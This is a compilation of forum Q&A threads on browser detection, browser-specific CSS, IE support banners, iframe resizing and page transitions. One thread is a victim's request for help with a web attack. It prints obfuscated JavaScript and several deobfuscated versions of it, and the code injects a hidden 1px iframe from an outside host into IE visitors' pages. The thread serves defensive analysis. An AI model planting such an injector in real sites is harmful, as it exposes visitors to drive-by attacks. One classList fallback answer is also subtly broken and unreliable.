So far I'm using this JS to load a different stylesheet if one the specified browser. At the moment though, it's not working for me. It doesn't display any of the stylesheets. I cant find whats wrong.
<script type="text/javascript">
if ( $.browser.mozilla == true ) {
document.write("<link type=\"text/css\" rel=\"stylesheet\" href=\"css\FF.css\">");
}
</script>
<script type="text/javascript">
if ( $.browser.chrome == true ) {
document.write("<link type=\"text/css\" rel=\"stylesheet\" href=\"css\Chrome.css\">");
}
</script>
The comment above is correct that this is no longer a JQuery function.
As you say you are doing this is because the content looks different, try using these tools instead:
http://modernizr.com/ - will allow you to style by what elements work, rather than what browser you are in
http://necolas.github.io/normalize.css/ - will help standardise the default styles of elements
http://jigsaw.w3.org/css-validator/
http://validator.w3.org/ - valid code is more likely to work in all browsers.
Failing that, ask the specific question here (ideally using jsfiddle) - it is rare for css not to work on all new browsers or for a simple workaround not to be possible.
Also: it is almost impossible to test in all browsers nowadays as there are so many, so knowing a single script works on everything you have tested should give confidence that it will work on those you have not tested.
This feature was removed in jQuery 1.9: http://jquery.com/upgrade-guide/1.9/
On this page this library is suggested to get this functionality: http://modernizr.com/
You can use JavaScript to detect and change the css for different browsers but the code is a bit bulky.
Use link
Different CSS files for Different Browsers
Pure javascript version tested on Chrome & Firefox. Should work on Opera. Past on your page where you want. Better if at the bottom before
document.addEventListener("DOMContentLoaded",browsercss);
function browsercss() {
navigator.sayswho = function () {
var c = navigator.userAgent,
b, a = c.match(/(opera|chrome|safari|firefox|msie|trident(?=\/))\/?\s*(\d+)/i) || [];
if (/trident/i.test(a[1])) return b = /\brv[ :]+(\d+)/g.exec(c) || [], "IE " + (b[1] || "");
if ("Chrome" === a[1] && (b = c.match(/\bOPR\/(\d+)/), null != b)) return "Opera " + b[1];
a = a[2] ? [a[1], a[2]] : [navigator.appName, navigator.appVersion, "-?"];
null != (b = c.match(/version\/(\d+)/i)) && a.splice(1, 1, b[1]);
return a.join(" ")
}();
var stylesheet = "";
if (navigator.sayswho.indexOf('Chrome') >= 0) {
stylesheet = 'http://example.com/chrome.css';
}
if (navigator.sayswho.indexOf('Mozilla') >= 0) {
stylesheet = 'http://example.com/mozilla.css';
}
if (navigator.sayswho.indexOf('Opera') >= 0) {
stylesheet = 'http://example.com/mozilla.css';
}
loadcss = document.createElement('link');
loadcss.setAttribute("rel", "stylesheet");
loadcss.setAttribute("type", "text/css");
loadcss.setAttribute("href", stylesheet);
document.getElementsByTagName("head")[0].appendChild(loadcss);
}
Related
I have simple script that slides certain blocks on scroll. It seems to work perfectly fine on every browser except IE and I can not figure out why. I compiled the code using babel to ECMA5 hoping that it would help, but it won't.
This is the JS
function slideIn(e) {
sliderImages.forEach(function (sliderImage) {
var slideInAt = window.scrollY + window.innerHeight;
var imageBottom = sliderImage.offsetTop + sliderImage.offsetHeight;
var isHalfShown = slideInAt > sliderImage.offsetTop;
var isNotScrolledPast = window.scrollY < imageBottom;
if (isHalfShown && isNotScrolledPast) {
sliderImage.classList.add('visible');
} else {
sliderImage.classList.remove('visible');
}
});
}
If anyone has ever had similar problem and knows what it could be related to that would be very much appreciated!
The question is why aren't the slides sliding in and out in IE but are OK on some other browsers.
The code given uses classList and this is not available (or at least not fully) on IE as #Carlos1232 commented. This is probably the only IE problem looking at the given code.
You can substitute these lines:
sliderImage.classList.add('visible');
sliderImage.classList.remove('visible');
with
add(sliderImage,'visible');
remove(sliderImage,'visible');
if you add the two functions below. They check whether classList is implemented in the browser, and if it isn't they instead get the className (which is OK on IE>=9) and parse the string it contains to add/remove the required class.
function add(element,cl) {
if (element.classList) {
element.classList.add(cl);
}
else {
if (element.className.split(" ").indexOf(cl) == -1) {
element.className += " " + cl;
}
}
}
function remove(element,cl) {
if (element.classList) {
element.classList.remove(cl);
}
else {
element.className = element.className.replace(/\bcl\b/g, "");
}
}
I would like to show my users a bar that looks like this, if:
Browser is not IE; or
Browser is IE but is version 8 or earlier
(Note that the screenshot is just for illustration - IE 9 is supported for my site.)
I found this nice jQuery plugin, but I don't want to use popups.
http://jreject.turnwheel.com/
The site where I will implement this is a Sharepoint 2013 site, so I will use a content editor webpart to include the HTML content you provide and the bar should be at the top of everything else.
Please include CSS if needed to make it look as the screenshot?
HTML
IE 9 and earlier (down to, I think, IE 4) can be identified using conditional comments in HTML.
As #Jost noted, you could use them to warn IE users on IE 8 and earlier, like this:
<!--[if lte IE 8]>
BANNER HERE
<![endif]-->
However, as IE 10 dropped support for these, you can't use them to identify non-IE browsers.
jQuery
jQuery used to include a browser detection module ($.browser), but it was removed in jQuery 1.9. If you can use an earlier version of jQuery (e.g. 1.8.3) or the jQuery Migrate plugin, then you could use this to show the banner.
if ( !$.browser.msie || $.browser.version < 9 ) {
// Add banner to the page here.
}
Browser Detection in general
Please note that browser detection is difficult. New browsers are coming out all the time, so any browser support plugin can rapidly become out of date, as can the premise on which you base your warning messages. jQuery's browser detect was the most consistently maintained, and even they gave up on it in the end.
These days, web developers are generally expected to write code that works cross-browser, and use feature-detection to deal with browsers that don't support the features they want to use.
As you're working on a SharePoint site, presumably it's for internal company use, and the company is Microsoft-centric. It sounds like you're developing the site to work in IE, and ignoring other browsers during development.
If you can reasonably expect most of your users to be on some version of IE, maybe the conditional comment warning is enough.
I found the question interesting. So i worked out a script for myself, but maybe someone else can benefit from it. So that's why I posted it as an answer. It returns an object with browser and OS information.
browser = {};
if (/edge\/[0-9]{2}/i.test(navigator.userAgent)) {
browser.agent = "edge";
browser.majorVersion = parseInt(/edge\/([0-9]{2})/i.exec(navigator.userAgent)[1]);
browser.version = /edge\/([0-9.]+)/i.exec(navigator.userAgent)[1];
} else if (/chrome\/[0-9]{2}/i.test(navigator.userAgent)) {
browser.agent = "chrome";
browser.majorVersion = parseInt(/chrome\/([0-9]{2})/i.exec(navigator.userAgent)[1]);
browser.version = /chrome\/([0-9.]+)/i.exec(navigator.userAgent)[1];
} else if (/firefox\/[0-9]{2}/i.test(navigator.userAgent)) {
browser.agent = "firefox";
browser.majorVersion = parseInt(/firefox\/([0-9]{2})/i.exec(navigator.userAgent)[1]);
browser.version = /firefox\/([0-9.]+)/i.exec(navigator.userAgent)[1];
} else if (/msie\ [0-9]{1}/i.test(navigator.userAgent)) {
browser.agent = "msie";
browser.majorVersion = parseInt(/MSIE\ ([0-9]{1})/i.exec(navigator.userAgent)[1]);
browser.version = /MSIE\ ([0-9.]+)/i.exec(navigator.userAgent)[1];
} else if (/opr\/[0-9]{2}/i.test(navigator.userAgent)) {
browser.agent = "opera";
browser.majorVersion = parseInt(/opr\/([0-9]{2})/i.exec(navigator.userAgent)[1]);
browser.version = /opera\/([0-9.]+)/i.exec(navigator.userAgent)[1];
} else if (/Trident\/[7]{1}/i.test(navigator.userAgent)) {
browser.agent = "msie";
browser.majorVersion = 11;
browser.version = "11";
} else if (/Safari\/[0-9.]+/i.test(navigator.userAgent)) {
browser.agent = "safari";
browser.majorVersion = parseInt(/Version\/([0-9]{2})/i.exec(navigator.userAgent)[1]);
browser.version = /Version\/([0-9.]+)/i.exec(navigator.userAgent)[1];
} else {
browser.agent = false;
browser.majorVersion = false;
browser.version = false;
}
if (/Windows\ NT/.test(navigator.userAgent)) {
browser.os = "windows";
var winver = parseFloat(/Windows\ NT\ ([0-9]{1,2}\.[0-9]{1})/i.exec(navigator.userAgent)[1]);
switch(winver) {
case 6.0:
browser.osversion = "Vista";
break;
case 6.1:
browser.osversion = "7";
break;
case 6.2:
browser.osversion = "8";
break;
case 6.3:
browser.osversion = "8.1";
break;
case 10.0:
browser.osversion = "10";
break;
default:
browser.osversion = false;
}
} else if (/OS\ X\ /.test(navigator.userAgent)) {
browser.os = "os x"; //
browser.osversion = /OS\ X\ [0-9]{2}_([0-9]{1,2})_[0-9]{1,2}/i.exec(navigator.userAgent)[1];
} else if (/(Linux)/.test(navigator.userAgent)) {
browser.os = "linux";
browser.osversion = false;
}
EDIT: This directly answers the OP.
I have updated Dany's answer with two updates tested in (IE 6,7,8,9,10,11), Chrome, and Edge. Primarily because the updates are very hard to read in the comments.
Pure javascript - No jQuery required
IE10 reports IE 10 vs IE 1
This now reports Edge
No specific HTML elements required to pre-exist (other than a body)
Tested in IE6, IE7, IE8, IE9, IE11, Chrome v62, and Edge
TODO: get it working properly in OSX Sierra, and iPhone
The test for edge must be first as it claims to be everything. :/
All this being said Browser detection "is what it is" and we can hope that the need for it will go away soon.
browser = {};
if (/(Edge\/[0-9]{2})/i.test(navigator.userAgent)) {
browser.agent = navigator.userAgent.match(/(Edge\/[0-9]{2})/i)[0].split("/")[0];
browser.version = parseInt(navigator.userAgent.match(/(Edge\/[0-9]{2})/i)[0].split("/")[1]);
} else if (/(chrome\/[0-9]{2})/i.test(navigator.userAgent)) {
browser.agent = navigator.userAgent.match(/(chrome\/[0-9]{2})/i)[0].split("/")[0];
browser.version = parseInt(navigator.userAgent.match(/(chrome\/[0-9]{2})/i)[0].split("/")[1]);
} else if (/(firefox\/[0-9]{2})/i.test(navigator.userAgent)) {
browser.agent = navigator.userAgent.match(/(firefox\/[0-9]{2})/i)[0].split("/")[0];
browser.version = parseInt(navigator.userAgent.match(/(firefox\/[0-9]{2})/i)[0].split("/")[1]);
} else if (/(MSIE\ [0-9]{1})/i.test(navigator.userAgent)) {
browser.agent = navigator.userAgent.match(/(MSIE\ [0-9]{1})/i)[0].split(" ")[0];
browser.version = parseInt(navigator.userAgent.match(/(MSIE\ [0-9]+)/i)[0].split(" ")[1]);
} else if (/(Opera\/[0-9]{1})/i.test(navigator.userAgent)) {
browser.agent = navigator.userAgent.match(/(Opera\/[0-9]{1})/i)[0].split("/")[0];
browser.version = parseInt(navigator.userAgent.match(/(Opera\/[0-9]{1})/i)[0].split("/")[1]);
} else if (/(Trident\/[7]{1})/i.test(navigator.userAgent)) {
browser.agent = "MSIE";
browser.version = 11;
} else {
browser.agent = false;
browser.version = false;
}
if (/(Windows\ NT\ [0-9]{1}\.[0-9]{1})/.test(navigator.userAgent)) {
browser.os = "Windows";
switch (parseFloat(navigator.userAgent.match(/(Windows\ NT\ [0-9]{1}\.[0-9]{1})/)[0].split(" ")[2])) {
case 6.0:
browser.osversion = "Vista";
break;
case 6.1:
browser.osversion = "7";
break;
case 6.2:
browser.osversion = "8";
break;
default:
browser.osversion = false;
}
} else if (/(OS\ X\ [0-9]{2}\.[0-9]{1})/.test(navigator.userAgent)) {
browser.os = "OS X";
browser.osversion = navigator.userAgent.match(/(OS\ X\ [0-9]{2}\.[0-9]{1})/)[0].split(" ")[2];
} else if (/(Linux)/.test(navigator.userAgent)) {
browser.os = "Linux";
browser.osversion = false;
}
if (browser.agent === "MSIE" && browser.version <= 9) {
var newDiv = document.createElement("div");
newDiv.innerHTML = "IE9 is not supported. You are using an UNSUPPORTED version of Internet Explorer.";
newDiv.setAttribute("style", "background-color:yellow;padding:18px;");
document.body.insertBefore(newDiv, document.body.firstChild);
} else { //TODO: Remove for Prod only added to show some flexibility and testing
var newDiv = document.createElement("div");
newDiv.innerHTML = "<b>" + browser.agent + "</b> is <i>so</i> supported. You are using version: " + browser.version + ".";
newDiv.setAttribute("style", "background-color:cyan;padding:12px;");
document.body.insertBefore(newDiv, document.body.firstChild);
}
I like the simple conditional html. (Simpler always seems better.)
Another more comprehensive javascript alert can be found at: http://www.browser-update.org
Checking if browser engine is Trident 6+ (IE 9, 10, 11) should do (demo):
(function () {
var trident = {
string: navigator.userAgent.match(/Trident\/(\d+)/)
};
trident.version = trident.string ? parseInt(trident.string[1], 10) : null;
if (!trident.string || trident.version < 6) {
document.body.innerHTML = '<div class="alert">Not supported.</div>' +
document.body.innerHTML;
}
})();
However, the sniffing may break in IE 11 final or future versions if Microsoft will decide to change userAgent string.
You could use conditional compiling in conjunction with conditional comments
Here a short overview of how this could work.
Always show the bar
Set a flag in javascript. IEMinor=false
Set the flag to true if IE <= 9, by using a script tag and conditional comments
Use conditional compiling to hide the bar if #_jscript_version > 9 (actually not needed) and IEMinor===false
<div id="bar"><center>Not Supported</center></div>
<script>
var IEMinor = false;
</script>
<!-- [if lte IE 9] -->
<script>var IEMinor = true</script>
<!-- <![endif] -->
<script>
/*#cc_on #*/
/*#if (#_jscript_version > 9)
if (!IEMinor)
document.getElementById("bar").style.display = "none";
/*#end #*/
</script>
I was too lazy to add the script type...
Here is an example on JSBin which doesn't show the bar in IE 10+ (untested). And shows it in other cases.
Note: I didn't make it look exactly like in the screenshot, you should get that part working
Edit: Using the browsermode of IE to test against IE<10 seems to work
Edit2: Whoops i thought from the picture IE9 is unsupported too, to allow IE9 change lte IE 9 to lt IE 9 and #_jscript_version > 9 to >= 9
Actually in SharePoint (OP mentioned that) there is a built-in variable browseris. It's available in the global window scope. Answering OP question:
Browser is not IE;
use browseris.ie
Browser is IE but is version 8 or earlier
use browseris.ie8down
(tested in SP2013 on-prem)
This is tested for IE 10 and 11. Head on to this link for more description.
<div id="noSupport"></div>
<script>
function isIE() {
return /Trident\/|MSIE/.test(window.navigator.userAgent); // IE 10 and IE 11
}
if (isIE()) {
document.getElementById('noSupport').innerHTML = 'IE not supported'
}
</script>
check this code, its working as expected.
if (navigator.userAgent.includes('Trident')) {
alert('This site is not supported by your Internet Explorer, please use Microsoft Edge or Google Chrome.');
}
I don't suggest you to use client side as some browsers might trick you by passing wrong values to pass website tests.
So i guess your using PHP as a server side you can detect the browser using the get_browser() function that give you a lot of information about the browser here is a nice turtoeial:
Part 1:
http://thenewboston.org/watch.php?cat=11&number=67
Part 2:
http://thenewboston.org/watch.php?cat=11&number=68
if your using another language all server side language has this functunality just google it or reference some sort of a turtorial
From the client side you can detect if it is compatible like that:
function Is_Compatible(){
var browser = navigator.appName;
var Fvar = document.getElementById('test').style.borderRadius;
if(browser !== 'Microsoft Internet Explorer'){
return false;
}
if(Fvar == undefined){
//Not IE9+
return false;
}else{
//Is IE9+
return true;
}
}
if(Is_Compatible() == true){
alert('Compatible');
}else{
alert('uncompatible');
}
HTML:
<div style="border-radius:20px;opacity:0;z-index:-500;" id="test"></div><!--It willl not inflect your design-->
FIDDLE:
Test it and it works:
http://jsfiddle.net/Z7fvb/
I am trying to dynamically adjust the height of an iFrame on a web page depending on the content within the iFrame via some JavaScript.
My problem is when I have the script directly on the page in a <script> tag it works fine. When I stuff the code in to a separate js file and link to it- it doesn't work!
<iframe id='StatusModule' onload='FrameManager.registerFrame(this)' src='http://randomdomain.dk/StatusModule.aspx'></iframe>
<script type='text/javascript' src='http://randomdomain.dk/FrameManager.js'></script>
It gives me the error:
Uncaught ReferenceError: FrameManager is not defined
Can this really be true? Has it something to do with the page life cycle?
Ps. I guess the JavaScript code is irrelevant, as we not it works.
UPDATE: I think this might have something to do with secure http (https) and the different browsers in some weird way. I noticed that the script actually worked in Firefox. Or rather I'm not sure if its the script, or just Firefox's functionality that resizes iframes automatically depending on the content. It doesn't give me any error though.
If I then add https to the script url reference, the scripts work in IE and Chrome - but not in Firefox. Function reference error! This just got weird!
UPDATE #2: Its not a Firefox function that resizes the iframe. Its the actual script that works (without https).
UPDATE #3: The JavaScript. Works fine if I put it directly into a script tag.
var FrameManager = {
currentFrameId: '',
currentFrameHeight: 0,
lastFrameId: '',
lastFrameHeight: 0,
resizeTimerId: null,
init: function () {
if (FrameManager.resizeTimerId == null) {
FrameManager.resizeTimerId = window.setInterval(FrameManager.resizeFrames, 0);
}
},
resizeFrames: function () {
FrameManager.retrieveFrameIdAndHeight();
if ((FrameManager.currentFrameId != FrameManager.lastFrameId) || (FrameManager.currentFrameHeight != FrameManager.lastFrameHeight)) {
var iframe = document.getElementById(FrameManager.currentFrameId.toString());
if (iframe == null) return;
iframe.style.height = FrameManager.currentFrameHeight.toString() + "px";
FrameManager.lastFrameId = FrameManager.currentFrameId;
FrameManager.lastFrameHeight = FrameManager.currentFrameHeight;
window.location.hash = '';
}
},
retrieveFrameIdAndHeight: function () {
if (window.location.hash.length == 0) return;
var hashValue = window.location.hash.substring(1);
if ((hashValue == null) || (hashValue.length == 0)) return;
var pairs = hashValue.split('&');
if ((pairs != null) && (pairs.length > 0)) {
for (var i = 0; i < pairs.length; i++) {
var pair = pairs[i].split('=');
if ((pair != null) && (pair.length > 0)) {
if (pair[0] == 'frameId') {
if ((pair[1] != null) && (pair[1].length > 0)) {
FrameManager.currentFrameId = pair[1];
}
} else if (pair[0] == 'height') {
var height = parseInt(pair[1]);
if (!isNaN(height)) {
FrameManager.currentFrameHeight = height;
//FrameManager.currentFrameHeight += 5;
}
}
}
}
}
},
registerFrame: function (frame) {
var currentLocation = location.href;
var hashIndex = currentLocation.indexOf('#');
if (hashIndex > -1) {
currentLocation = currentLocation.substring(0, hashIndex);
}
frame.contentWindow.location = frame.src + '&frameId=' + frame.id + '#' + currentLocation;
}
};
window.setTimeout(FrameManager.init, 0);
UPDATE #4: Alright I did as ShadowWizard and TheZuck suggested:
<script type="text/javascript">
var iframe = document.createElement("iframe");
iframe.src = "http://www.randomdomain.dk/StatusWebModule.aspx";
iframe.width = '100%';
iframe.id = 'StatusModule';
iframe.scrolling = 'no';
if (iframe.attachEvent) {
iframe.attachEvent("onload", function () {
FrameManager.registerFrame(iframe);
});
} else {
iframe.onload = function () {
FrameManager.registerFrame(iframe);
};
}
document.getElementById('framecontainer').appendChild(iframe);
</script>
With HTTP as URL its work on IE and Firefox - not Chrome. If I set it to HTTPS it works on Chrome and IE - Not Firefox. Same error:
"ReferenceError: FrameManager is not defined".
What is going on here?
a couple of things:
I would bet on a race condition when you have two independent
resources which are supposed to be loaded concurrently. You can
easily check this by writing to log (or to document, whichever works
for you) when both finish loading (i.e. add a little script in the
iframe to dynamically add the time to the content or write to log if
you're using chrome, do that in the external script file as well,
and see if they post the time in a specific order when this fails). In your case, if the script appears before the iframe, and you don't mark it as async, it should be loaded before the iframe is fetched, so it would seem strange for the iframe not to find it due to a race condition. I would bet on (3) in that case.
Assuming there is such an issue (and if there isn't now, when you go
out into the real world it will be), a better way to do this is to
make sure both behave well in case the other loads first. In your
case, I would tell the iframe to add itself to a local variable
independent of the script, and would tell the script to check if the
iframe registered when it loads, and after that in recurring
intervals until it finds the iframe.
If the page the script is loaded into is not in the same domain
as the iframe (note that it doesn't matter where the script comes
from, it only matters what the page's domain is), (or even the same
protocol as someone mentioned here), you will not be able to access
the content so you won't be able to resize according to what the
content is. I'm not sure about the onload method, if it's considered part of the wrapping page or part of the internal iframe.
Check out this question, it sounds relevant to your case:
There's also an interesting article here about this.
I think that your frame is loaded before the script, so "FrameManager" does not exist yet when the iframe has finished loading.
Recently I was the victim of a web attack, which seemed to take various PHP server vars, then forward them to an attackers website. (IPs of visitor/website, referrer, useragent etc, etc.) Then it would get the file it sent the URL request to, and echo() it to source.
I know you get MANY of these sort of requests (Mostly as poor man XSS attempts), but I would really appreciate some help here, as I don't have much experience with JS. It took me several hours of PHP unscrambling to figure at what it did, and after passing some dummy info, it returned this (which was being echoed into source)
<script type='text/javascript'>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('i 9(){a=6.h(\'b\');7(!a){5 0=6.j(\'k\');6.g.l(0);0.n=\'b\';0.4.d=\'8\';0.4.c=\'8\';0.4.e=\'f\';0.m=\'w://z.o.B/C.D?t=E\'}}5 2=A.x.q();7(((2.3("p")!=-1&&2.3("r")==-1&&2.3("s")==-1))&&2.3("v")!=-1){5 t=u("9()",y)}',41,41,'el||ua|indexOf|style|var|document|if|1px|MakeFrameEx|element|yahoo_api|height|width|display|none|body|getElementById|function|createElement|iframe|appendChild|src|id|25u|msie|toLowerCase|opera|webtv||setTimeout|windows|http|userAgent|500|asso|navigator|com|showthread|php|72291731'.split('|'),0,{}))
Thank you for your time and patience with this matter.
Simply replace eval with alert.
It yields the following:
function MakeFrameEx(){
element=document.getElementById('yahoo_api');
if(!element){
var el=document.createElement('iframe');
document.body.appendChild(el);
el.id='yahoo_api';
el.style.width='1px';
el.style.height='1px';
el.style.display='none';
el.src='http://asso.25u.com/showthread.php?t=72291731'
}
}
var ua=navigator.userAgent.toLowerCase();
if(((ua.indexOf("msie")!=-1
&&ua.indexOf("opera")==-1
&&ua.indexOf("webtv")==-1))
&&ua.indexOf("windows")!=-1)
{
var t=setTimeout("MakeFrameEx()",500);
}
After doing the alert() CTRL+C the dialog to get the contents, then use a JS Beautifier to get some readable code.
Also note that for some browsers, like Firefox, there are plugins to do this automatically. Some browsers even does this automatically (MSIE).
This was some obfuscated code. I deobfuscated it and this is what it does:
function MakeFrameEx() {
element = document.getElementById('yahoo_api');
if (!element) {
var el = document.createElement('iframe');
document.body.appendChild(el);
el.id = 'yahoo_api';
el.style.width = '1px';
el.style.height = '1px';
el.style.display = 'none';
el.src = 'http://asso.25u.com/showthread.php?t=72291731'
}
}
var ua = navigator.userAgent.toLowerCase();
if (((ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua
.indexOf("webtv") == -1))
&& ua.indexOf("windows") != -1) {
var t = setTimeout("MakeFrameEx()", 500)
}
Here is the deobfuscated JavaScript code:
function MakeFrameEx()
{
element=document.getElementById('yahoo_api');
if(!element)
{
var el=document.createElement('iframe');
document.body.appendChild(el);
el.id='yahoo_api';
el.style.width='1px';
el.style.height='1px';
el.style.display='none';
el.src='http://asso.25u.com/showthread.php?t=72291731'
}
}
var ua=navigator.userAgent.toLowerCase();
if(((ua.indexOf("msie")!=-1&&ua.indexOf("opera")==-1&&ua.indexOf("webtv")==-1))&&ua.indexOf("windows")!=-1)
{
var t=setTimeout("MakeFrameEx()",500)}
I was just wondering if there are any methods of creating nice, smooth transition effects when navigating between pages? Things like blind effects, sliding effects, etc. I guess I'm looking for something like what jQuery can do with images - but for actual web pages. I know there are fade effects and all that, but I was just wondering if there was something more 'modern' out there. While I realize Flash would be a good fit for this, it is not an option.
You can do some pretty cool effects if you use jQuery UI. They will go much smoother if you load everything in using AJAX... but, here's an example to get it working with full page loads.
First you need to additionally include jQuery UI (I just built my own and only grabbed the effects I needed):
<script type="text/javascript" src="jquery-ui-1.7.1.custom.min.js"></script>
And here's the javascript you'll need to make it work.
$(function() {
$('body').hide();
$('a').bind('click', function() {
var newPage = $(this).attr('href');
$('body').hide('blind',{},500, function() {
newPageParts = newPage.split('?');
newPageURL = newPageParts[0];
newPageParams = newPageParts[1];
newPage = newPageURL+"?transition=true"+(newPageParams != undefined ? "&"+newPageParams : '');
window.location=newPage;
});
return false;
});
if(getURLParam('transition') != '') {
$('body').show('blind',{},500,null);
}
});
function getURLParam(strParamName){
var strReturn = "";
var strHref = window.location.href;
if ( strHref.indexOf("?") > -1 ){
var strQueryString = strHref.substr(strHref.indexOf("?")).toLowerCase();
var aQueryString = strQueryString.split("&");
for ( var iParam = 0; iParam < aQueryString.length; iParam++ ){
if (aQueryString[iParam].indexOf(strParamName + "=") > -1 ){
var aParam = aQueryString[iParam].split("=");
strReturn = aParam[1];
break;
}
}
}
return strReturn;
}
Of course, fading in is only going to work on pages that have this script on it...
Just a note: I did just kinda make this in a few minutes so it might be really ghetto. But, it does work... so... yeah...
IE has a very simple implementation of page transition effects, but I don't think they will work on other browsers like Mozilla and Safari.